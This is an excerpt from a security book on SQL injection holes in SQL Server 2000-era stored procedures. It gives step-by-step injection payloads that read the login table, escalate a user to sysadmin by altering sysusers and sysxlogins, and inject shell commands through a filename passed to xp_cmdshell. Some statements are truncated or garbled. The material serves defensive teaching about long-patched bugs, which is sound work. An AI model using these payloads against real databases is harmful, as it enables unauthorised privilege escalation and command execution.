Manage Learn to apply best practices and optimize your operations.

Vulnerable stored procedures

Learn about security vulnerabilities in SQL Server Stored procedures in this excerpt from "The Database Hacker's Handbook: Defending Database Servers" by David Litchfield, Chris Anley, John Heasman and Bill Grindlay.

The following excerpt, courtesy of Wiley Publishing, is from Chapter 22 of the book "The Database Hacker's Handbook: Defending Database Servers" written by David Litchfield, Chris Anley, John Heasman and Bill Grindlay. Click for the complete book excerpt series or purchase the book.

Stored Procedures

SQL Server stored procedures can be vulnerable to SQL injection attacks if they do not correctly parse user-supplied arguments. A stored procedure sp_MSdropretry is used to delete database tables and is accessible to the public role by default. The sysxlogins table can be retrieved on SQL Server 2000 pre-Service Pack 3 with the following query:

EXEC sp_MSdropretry 'foobar select * from master.dbo.sysxlogins' ,

Viewing the T-SQL source of this stored procedure:

CREATE PROCEDURE sp_MSdropretry (@tname sysname, 
@pname sysname)
 declare @retcode int
 ** To public
 exec ('drop table ' + @tname)
 if @@ERROR <> 0 return(1)
 exec ('drop procedure ' + @pname)
 if @@ERROR <> 0 return(1)
 return (0)
you can see that the problem occurs because the tname user-supplied parameter is concatenated onto the string "drop table" and then executed without validation. The severity of this issue is low because all injected SQL will execute with the privileges of the current user. However, if an attacker obtains elevated privileges this bug will allow writes to system tables. Users with db_owner, db_securityadmin, db_datawriter, or db_ddladmin privileges could also take advantage of this issue in combination with ownership chaining to escalate their privileges to sysadmin level. Ownership chaining is a feature that allows users on one server to access objects on other SQL Servers based on their login. The initial step in privilege escalation is to create a view to modify the sysxlogins table:
EXEC sp_executesql N'create view dbo.test as select * from
Then the dbo group's SID (Security Identifier) is set to 0x01:
EXEC sp_MSdropretry 'foobar update sysusers set sid=0x01 where name =

''dbo''', 'foobar'

The current user's xstatus field is now set to 18 (sysadmin):

EXEC sp_MSdropretry 'foobar update dbo.test set xstatus=18 where
name=SUSER_SNAME()', 'foobar'

And finally, clean up by removing the view and resetting dbo's SID:

EXEC sp_executesql N'drop view dbo.test'
EXEC sp_MSdropretry 'foobar sysusers set sid=SUSER_SID
where name = ''dbo''', 'foobar'

This security hole was closed with the release of SQL Server 2000 Service Pack 3, which fixed the SQL injection vulnerability in the sp_MSDropRetry stored procedure. However, a new SQL injection vulnerability in the stored procedure sp_MSdroptemptable in this updated version can allow users with create database privileges (or ownership of a database) to elevate their access level to system administrator. First the database is created:

create database test
The context is set:
use test

As before, the SID of the dbo group is set to 0x01 (that of sa):

exec sp_MSdroptemptable ''') is null update sysusers set sid=0x01 
setuser 'dbo' with noreset

Now that the user has escalated privileges to sa, xp_cmdshell can be executed or the sysxlogins table viewed. This issue was fixed in the patch MS03-031.

The replication features of SQL Server are used to distribute data across a wide and diverse network of servers. The stored procedure sp_MScopyscriptfile is used to create a directory within the replication directory and then copy in a script file. Versions of this procedure in SQL Server 7 and 2000 SP2 and earlier are vulnerable to SQL injection in its @scriptfile parameter. The vulnerable lines of the procedure are as follows:

select @cmd = N'copy "' + @scriptfile + N'" "' + @directory + N'"'
exec @retcode = master..xp_cmdshell @cmd, NO_OUTPUT
The filename to copy (@scriptfile) is being inserted into the command passed to exec without any verification. Arbitrary commands can be executed by supplying a malformed filename:
use master
declare @cmd nvarchar(4000)
exec sp_MScopyscriptfile N'c:boot.ini" c:a.txt&echo hello >
c:b.txt & echo "hello',@cmd OUTPUT
print @cmd

This attack would copy the server's boot.ini file to the file a.txt, but would also write the text "hello" to the file b.txt. This vulnerability corresponds to < a href=>Microsoft Security Bulletin MS02-043.

Click for the next excerpt in this series: Port scanning

Click for the complete book excerpt series.

This was last published in September 2005

Dig Deeper on SQL Server Security

Start the conversation

Send me notifications when other members comment.

By submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy

Please create a username to comment.